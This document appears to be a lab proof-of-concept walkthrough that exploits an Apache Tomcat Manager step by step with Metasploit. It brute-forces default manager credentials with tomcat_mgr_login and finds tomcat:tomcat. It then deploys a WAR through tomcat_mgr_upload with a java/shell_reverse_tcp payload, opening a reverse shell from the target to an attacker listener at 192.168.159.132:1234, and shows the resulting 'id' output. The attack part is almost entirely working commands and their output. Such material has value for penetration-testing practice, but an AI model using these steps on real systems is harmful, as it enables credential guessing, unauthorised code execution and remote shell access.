

Proof of concept:

1) Open metasploit and run the command:

search tomcat_mgr_login

```
msf6 > search tomcat_mgr_login

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -      -
0  auxiliary/scanner/http/tomcat_mgr_login  .              normal No     Tomcat Application Manager Login Utility

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/tomcat_mgr_login
```

2) select the module:

use 0

```
msf6 > use 0
msf6 auxiliary(scanner/http/tomcat_mgr_login) > 
```

3) Set RHOST and RPORT

set rhosts 192.168.159.131

Set rport 8180

```
msf6 auxiliary(scanner/http/tomcat_mgr_login) > options
Module options (auxiliary/scanner/http/tomcat_mgr_login):

Name          Current Setting  Required  Description
-  -          -  -          -  -
ANONYMOUS_LOGIN  false           no        Attempt to login with a blank username and password
BLANK_PASSWORDS  false           no        Try blank passwords for all users
BRUTEFORCE_SPEED  5              yes       How fast to bruteforce, from 0 to 5
DB_ALL_CREDS     false           no        Try each user/password couple stored in the current database
DB_ALL_PASS      false           no        Add all passwords in the current database to the list
DB_ALL_USERS     false           no        Add all users in the current database to the list
DB_SKIP_EXISTING none            no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no        The HTTP password to specify for authentication
PASS_FILE        /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no        File containing passwords, one per line
PROxies          RHOSTS          no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS           192.168.159.131 yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT            8180            yes        The target port (TCP)
SSL              false           no        Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS  false           yes       Stop guessing when a credential works for a host
TARGETURI        /manager/html   yes       URI for Manager login. Default is /manager/html
THREADS          1              yes       The number of concurrent threads (max one per host)
USERNAME         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no        The HTTP username to specify for authentication
USERPASS_FILE    /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt no        File containing users and passwords separated by space, one pair per line
USER_AS_PASS     false           no        Try the username as the password for all users
USER_FILE        /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no        File containing users, one per line
VERBOSE          true            yes       Whether to print output for all attempts
VHOST            no              no        HTTP server virtual host
```

4) Exploit it

run

```
[~] 192.168.159.131:8180 - LOGIN FAILED: root:ADMIN (Incorrect)
[~] 192.168.159.131:8180 - LOGIN FAILED: root:xampp (Incorrect)
[~] 192.168.159.131:8180 - LOGIN FAILED: tomcat:admin (Incorrect)
[~] 192.168.159.131:8180 - LOGIN FAILED: tomcat:manager (Incorrect)
[~] 192.168.159.131:8180 - LOGIN FAILED: tomcat:role1 (Incorrect)
[~] 192.168.159.131:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.159.131:8180 - Login Successful: tomcat:tomcat
[~] 192.168.159.131:8180 - LOGIN FAILED: both:admin (Incorrect)
[~] 192.168.159.131:8180 - LOGIN FAILED: both:manager (Incorrect)
[~] 192.168.159.131:8180 - LOGIN FAILED: both:role1 (Incorrect)
[~] 192.168.159.131:8180 - LOGIN FAILED: both:root (Incorrect)
```

5) We got default usernames and passwords which can exploit the vulnerability in Tomcat's Manager application.

Username : tomcat

Password : tomcat

6) Search and Select the **exploit/multi/http/tomcat_mgr_upload**

```
msf6 > search tomcat_mgr

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/multi/http/tomcat_mgr_deploy      2009-11-09      excellent Yes     Apache Tomcat Manager Application Deployer Authenticated Code Execution
1  \   target: Automatic                      .               .       .
2  \   target: Java Universal                  .               .       .
3  \   target: Windows Universal               .               .       .
4  \   target: Linux x86                      .               .       .
5  exploit/multi/http/tomcat_mgr_upload      2009-11-09      excellent Yes     Apache Tomcat Manager Authenticated Upload Code Execution
6  \   target: Java Universal                  .               .       .
7  \   target: Windows Universal               .               .       .
8  \   target: Linux x86                      .               .       .
9  auxiliary/scanner/http/tomcat_mgr_login    .               normal   No      Tomcat Application Manager Login Utility

Interact with a module by name or index. For example info 9, use 9 or use auxiliary/scanner/http/tomcat_mgr_login

msf6 > use 5
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

7) Set the following

httpUsername : tomcat

httpPassword : tomcat

Rhost : 192.168.159.131

Rport : 8180

Lhost : 192.168.159.132

Lport : 1234

```
msf6 exploit(multi/http/tomcat_mgr_upload) > options

Module options (exploit/multi/http/tomcat_mgr_upload):

  Name      Current Setting  Required  Description
  --      -
  HttpPassword  tomcat          no        The password for the specified username
  HttpUsername  tomcat          no        The username to authenticate as
  Proxies       .               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS        192.168.159.131 yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT         8180            yes        The target port (TCP)
  SSL           false           no        Negotiate SSL/TLS for outgoing connections
  TARGETURI     /manager        yes        The URI path of the manager app (/html/upload and /undeploy will be used)
  VHOST         .               no        HTTP server virtual host

Payload options (java/shell_reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.159.132 yes        The listen address (an interface may be specified)
  LPORT     1234            yes        The listen port

Exploit target:

  Id  Name
  --  -
  0   Java Universal

View the full module info with the info, or info -d command.
```

8) Set a suitable payload to get a reverse shell

Set payload java/shell_reverse_tcp

```
msf6 exploit(multi/http/tomcat_mgr_upload) > set payload java/shell_reverse_tcp
payload => java/shell_reverse_tcp
```

9) Run the Exploit and got the shell access

run

```
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.159.132:1234
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying CiCU8FRjZL21BwLBhNvAKz ...
[*] Executing CiCU8FRjZL21BwLBhNvAKz ...
[*] Undeploying CiCU8FRjZL21BwLBhNvAKz ...
[*] Undeployed at /manager/html/undeploy
[*] Command shell session 1 opened (192.168.159.132:1234 → 192.168.159.131:37780) at 2026-01-02 03:47:31 -0500

id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
```